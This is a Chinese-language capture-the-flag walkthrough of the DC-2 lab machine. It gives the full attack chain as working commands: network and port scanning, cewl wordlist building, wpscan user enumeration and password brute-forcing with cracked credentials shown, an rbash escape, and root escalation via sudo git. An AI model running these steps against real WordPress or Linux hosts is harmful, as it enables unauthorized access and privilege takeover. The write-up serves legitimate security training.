DC-2
信息收集
arp-scan -l #扫描局域网中所有设备
nmap -p- -A 192.168.16.161 #扫描靶机端口
发现有80端口,直接访问192.168.16.161,可是发现无法访问被重定向到了http://dc-2/
可以修改hosts文件,hosts文件是负责IP地址与域名快速解析的文件,hosts文件位置在:/etc/hosts
vim /etc/hosts
/etc/init.d/networking restart #配置好后重启服务
修改过hosts后就可以登录DC-2的网站了
密码爆破
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.More passwords is always better, but sometimes you just can’t win them all.Log in as one to see the next flag.If you can’t find it, log in as another.
你通常使用的单词表可能不起作用,所以你可能只需要 "cewl"。密码越多越好,但有时你就是无法赢得所有密码。以一个人的身份登录,查看下一面旗帜。如果找不到,就以另一个身份登录。
第一步
flag提示需要使用cewl工具爬取密码,再进行用户账户密码爆破
cewl
是一个命令行工具,用于从网页中提取信息。
https://www.freebuf.com/articles/network/190128.html
此网址为cewl的使用方法
cewl http://dc-2/ -w password.txt #将爬出的密码存放至password.txt
cat password.txt #查看爬出的密码
第二步
使用Wappalyzer扫描查看网站使用的技术,发现使用的是WordPress框架
使用wpscan暴力枚举用户名
https://www.jianshu.com/p/a0143cc79215
此网站记载wpscan的使用方法
wpscan --url http://dc-2/ -e u #参数信息:--url | -u 配置扫描URL,--enumerate | -e 枚举信息;选项:u 枚举用户名,默认从1-10
说明:
--url #要扫描的目标url,允许的协议http、https,默认使用http协议。
-e #选项启用详细扫描模式,将执行更深入的安全测试。
#在详细扫描模式下,wpscan 将进行以下操作:
# 1.识别已安装的WordPress版本。
# 2.检测已知的WordPress漏洞和安全问题。
# 3.扫描目标站点的插件和主题,查找可能存在的漏洞或安全弱点。
# 4.查找可公开访问的文件和目录。
# 5.爬取网站,并尝试发现隐藏页面或目录。
# 6.分析目标网站的用户信息,包括用户名、用户ID等。
# 7.进行弱密码猜测,尝试使用常见的用户名和密码组合进行登录。
得到三名用户:admin,tom,Jerry
第三步
创建用户字典,使用wpscan爆破用户密码
vim user.txt
admin
tom
jerry
密码爆破
wpscan --url http://dc-2/ -U user.txt -P password.txt
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
第四步
扫描网页
nikto -h http://dc-2/
nikto
是一个开源的网络安全扫描工具,用于检测和评估目标网站上存在的漏洞和安全风险。它可以对Web服务器进行全面的漏洞扫描,包括敏感文件、配置错误、弱密码等。
在这个命令中,-h
是 nikto
命令的一个选项,用于指定目标主机。在这里,目标主机是 http://dc-2/
。http://dc-2/
是一个URL,指向名为 dc-2
的主机或网站。
查到登录路径:wp-login.php
第五步
使用jerry身份登录wordpress,获得flag2
也使用tom的账户登录,什么也没有发现,查看其他的端口
再次使用nmap扫描所有端口,发现打开了ssh服务端口号为7744
登录ssh
ssh jerry@192.168.16.161 -p 7744
ssh -p 7744 tom@192.168.16.161
发现有rbash限制 https://blog.csdn.net/weixin_43705814/article/details/111879362
rbash解释和绕过
绕过rbash
BASH_CMDS[a]=/bin/sh;a #把/bin/bash给a变量
export PATH=$PATH:/bin/ #将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #将/usr/bin作为PATH环境变量导出
发现flag3,查看内容
flag3内容提到了jerry,查看是否有Jerry用户
切换jerry用户
su jerry
提权
切换目录至root查看内容,发现flag4,查看内容
这里提示使用git进行提权
查找root设置了suid权限的文件,并将错误写入 /dev/null
find / -user root -perm /4000 2>/dev/null
看到有sudo权限,使用sudo -l显示当前用户能过使用的sudo命令有哪些
发现可利用sudo执行git命令,查看提权网站https://gtfobins.github.io/
sudo git -p help config
!/bin/sh
得到root权限,并发现最终flag,查看内容
也能使用提权工具gtfo-master进行提权,在新窗口输入
cd gtfo-master
python3 gtfo.py git
回到远程登录的窗口,输入提权命令
git branch --help config # 提权命令1
sudo git help config # 提权命令2
#提权命令任选其一就可以了
!/bin/sh
gtfo-master进行提权,在新窗口输入
cd gtfo-master
python3 gtfo.py git
回到远程登录的窗口,输入提权命令
git branch --help config # 提权命令1
sudo git help config # 提权命令2
#提权命令任选其一就可以了
!/bin/sh
[外链图片转存中…(img-g6a2l3xF-1692196414371)]